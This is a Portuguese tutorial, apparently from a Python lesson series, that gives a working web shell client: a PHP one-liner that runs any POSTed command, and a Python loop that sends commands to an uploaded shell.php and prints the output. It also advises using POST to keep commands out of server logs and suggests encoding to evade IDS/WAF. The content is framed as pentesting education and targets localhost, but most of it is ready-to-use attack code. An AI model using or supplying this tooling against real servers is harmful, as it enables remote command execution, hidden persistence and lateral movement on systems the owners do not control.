Um terminal remoto simples que se comunica com um script PHP no servidor.
Contexto
Um Web Shell é um script (geralmente em PHP, ASP ou JSP) que um atacante instala em um servidor web para permitir a execução remota de comandos do sistema. No entanto, interagir com esse shell diretamente pela barra de endereços do navegador é ineficiente e deixa rastros óbvios nos históricos.
O objetivo deste cliente em Python é:
- Interface de Terminal: Proporcionar uma experiência de terminal real no computador do Pentester.
- Ofuscação: Automatizar a codificação dos comandos (Base64 ou URL Encode) para tentar evadir sistemas de detecção de intrusão (IDS/WAF).
- Persistência: Facilitar a execução de múltiplos comandos em sequência sem precisar recarregar páginas manualmente.
Possibilidades de Implementação
- Comunicação via GET/POST: O cliente envia o comando como um parâmetro de requisição. O POST é preferível por não deixar o comando visível na URL nos logs do servidor.
- Shell Interativo: Um loop
whileque aguarda a entrada do usuário e exibe oSTDOUTdo servidor. - Fake TTY: Adicionar prefixos de comandos para simular um ambiente de terminal mais estável (como
cdpersistente ou exportação de variáveis de ambiente).
Código
Este módulo assume que você já possui um shell simples no servidor (ex: <?php system($_POST['cmd']); ?>). O script Python funcionará como o controle remoto desse arquivo.
Requisito: pip install requests
import requests
import sys
def web_shell_client(target_url, password_param):
"""
Interface de terminal para interagir com um Web Shell PHP remoto.
"""
print(f"[*] Conectando ao Web Shell em: {target_url}")
print("[*] Digite 'exit' ou 'quit' para encerrar a sessão.\n")
# Loop de interação (REPL)
while True:
try:
# Captura o comando do usuário
cmd = input("web_shell@remote_host:~# ")
if cmd.lower() in ["exit", "quit"]:
print("[*] Encerrando sessão...")
break
if not cmd.strip():
continue
# Prepara os dados do POST (comando enviado como parâmetro)
data = {password_param: cmd}
# Envia a requisição para o servidor
response = requests.post(target_url, data=data, timeout=10)
# Exibe o resultado da execução no servidor
if response.status_code == 200:
print(response.text.strip())
else:
print(f"[!] Erro no servidor: Status {response.status_code}")
except KeyboardInterrupt:
print("\n[*] Saindo...")
break
except Exception as e:
print(f"[!] Erro de conexão: {e}")
def main():
print("=" * 60)
print("Módulo: Web Shell Client | Projeto: 30 Lessons in Python")
print("=" * 60)
# Configurações do alvo
# Exemplo: URL onde o arquivo .php foi "upado"
target = "http://127.0.0.1/uploads/shell.php"
param_name = "cmd" # O nome da variável no script PHP
web_shell_client(target, param_name)
if __name__ == "__main__":
main()
Observações
- O Script no Servidor: Para este cliente funcionar, o arquivo no servidor alvo deve ser algo simples como:PHP
<?php if(isset($_POST['cmd'])){ system($_POST['cmd']); } ?>
- Limitações: Comandos interativos que esperam uma resposta do usuário (como
sudopedindo senha ou editores de texto comovim) não funcionam bem via Web Shell padrão. - Segurança: Explique que o uso de Web Shells é uma das provas mais claras de RCE (Remote Code Execution), permitindo ao atacante escalar privilégios ou mover-se lateralmente na rede.